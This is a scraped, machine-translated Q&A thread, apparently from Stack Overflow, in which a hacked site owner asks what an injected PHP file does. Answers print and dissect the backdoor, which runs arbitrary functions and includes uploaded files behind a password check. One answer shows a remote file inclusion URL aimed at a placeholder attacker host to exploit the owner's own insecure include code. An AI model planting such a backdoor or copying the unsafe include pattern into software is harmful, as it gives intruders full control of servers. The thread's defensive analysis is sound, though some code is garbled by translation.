Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/227.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
被黑了!这段PHP代码是做什么的?我该如何避免?_Php_Spam - Fatal编程技术网

被黑了!这段PHP代码是做什么的?我该如何避免?

被黑了!这段PHP代码是做什么的?我该如何避免?,php,spam,Php,Spam,我被黑客攻击了,很明显他们在发送垃圾邮件。他们将两个文件注入到我的服务器中(在所有子目录中重复)。一个是一个严重散列的PHP文件,它可能是发送者。下面的代码来自另一个文件 我的问题是,这是什么?我无法解释它的目的。另外,我应该做些什么来避免这种情况再次发生 <?php if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die(); @extract($_POST); if(!empty($a))

我被黑客攻击了,很明显他们在发送垃圾邮件。他们将两个文件注入到我的服务器中(在所有子目录中重复)。一个是一个严重散列的PHP文件,它可能是发送者。下面的代码来自另一个文件

我的问题是,这是什么?我无法解释它的目的。另外,我应该做些什么来避免这种情况再次发生

<?php

if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
    die();
@extract($_POST);

if(!empty($a))
    @$a($b);

if(!empty($_FILES['tmp_name']))
    @include($_FILES['tmp_name']);

?>

在进一步检查之前,请立即重命名该文件(改为.php以外的名称),以便任何恶意用户都无法再使用它

然后调查他们是如何将其注入到您的服务器上的

在访问日志中,您将找到加载特定PHP文件的页面加载。这将是你的第一条线索。例如,调查来自同一IP地址的其他连接,并查看他们访问/滥用了哪些脚本。在某个地方,你可能会发现你有一个过时/易受攻击的wordpress插件、joomla插件等。尽快更新或删除该插件,否则你很快就会再次被黑客攻击

此外,在检查您的访问日志时,请查看他们是否已上载新的后门!可能您看到一些脚本被不应该存在的相同IP地址调用。也删除/重命名它们

is代码的功能非常简单,但也非常高级: 它允许密码持有者执行您可以通过PHP执行的任何代码。高级比特是很难检测到的。它不使用base64、eval等

编辑:

Idealizem在评论中说:

实际上,我没有在这个域上使用Wordpress(或任何其他CMS)——但我有一个index.php文件,它通过包含一个前缀为下划线的现有文件来处理各种页面的动态创建——因此index.php?go=about将包含(“about.php”)。它检查文件是否存在,如果不存在,则只包括默认文件。我希望这足够安全。这就是他们可能利用我的代码的地方吗如果($_GET['go']=''){$go='videos';}其他{$go=$_GET['go']];}如果(!(文件存在('.$go.'.php')){$go='videos';}

是的,这可能是你的问题!您说包含的文件以下划线作为前缀,但我在您的代码中没有看到。。。那么,如果黑客去了
index.php?去吧=http://hackerssite.com/hackerscode
,您将最终包括
http://hackerssite.com/hackerscode.php
code,允许大破坏


删除(并且永远不允许)包含直接用户输入的代码。根据允许的包含页面数组选中
$\u GET['go']
,或者使用
开关调用
包含

似乎它正在执行一个函数,该函数的名称是通过
$\u POST['a']
给出的,其值来自
$\u POST['b']
作为参数,而不是通过表单上载的文件

因此,基本上它允许用户在服务器上执行PHP文件和函数


立即删除或重命名此文件以避免任何进一步的使用。

这允许他们运行所需的任何功能,并允许他们上载文件,立即将其包含并解析为PHP。。。在
根目录下
之后,它将尽可能接近完全访问。以下是完整的分类:

  • 允许被攻击者确保他们是唯一能够发起攻击的人(简单的密码保护)

    if(@md5($_POST['pass'])!='692e3f52ee6f16bc78fa6e1ec4bd4a6a')die()

  • 将所有POST变量作为它们自己的变量取出,然后传入任何函数名(
    $a
    )并调用它(传入POST变量
    $b
    )这允许他们运行任何加载的函数(包括
    exec
    ,如果您的系统允许的话)

    @extract($\u POST)
    如果(!空($a)) @甲(乙);

  • 允许攻击者上载文件(任何文件)并将其自动包含在PHP脚本中

    if(!empty($\u文件['tmp\u name']))
    @包括($_文件['tmp_名称'])


  • 此外,每条语句前面的
    @
    会抑制错误,因此如果您正在审核,它不会显示在错误日志中。

    此代码允许有人将任何php文件上载到您的服务器,并
    包含
    以供执行。他们所需要做的只是提供一个密码(他们显然知道),注意,你需要做的不仅仅是删除这个文件(以及其他被利用的文件)。你必须堵住允许上传这些文件的原始孔。最可能的情况是,如果代码中存在任何文件操作或上载,例如通过
    $\u FILES
    ,则您存在目录遍历漏洞或类似漏洞。
    @
    意味着它正在压缩错误消息。这是一个非常糟糕的想法。您应该使用数组来定义页面名称及其可以包含的文件的列表,否则您可能会让用户能够任意包含任何文件。你在网站上有允许上传文件的表格吗?不管是公开的还是你认为是私有的?这可能就是黑客在你的服务器上处理文件的方式:一种不受保护的形式。一旦他们得到了文件,然后你奇怪的CMS代码让他们能够直接从浏览器中调用它们@理想化M:关于你的评论,请参见我答案中的编辑。是的,你创造了自己的后门!一切都很危险
    $a($b)
    执行作为
    $\u POST['a']
    传入的任何内容。如何像这样修改脚本|@KA_lin-我不确定我是否理解question@KA_lin这是可能的,他也可以通过FTP访问服务器,或者通过不安全的上传脚本上传(这不太可能是原因,因为它无处不在)@KA_lin-是的,很可能是一个不安全的上传系统(例如,一种允许上载PHP脚本的CMS,或允许在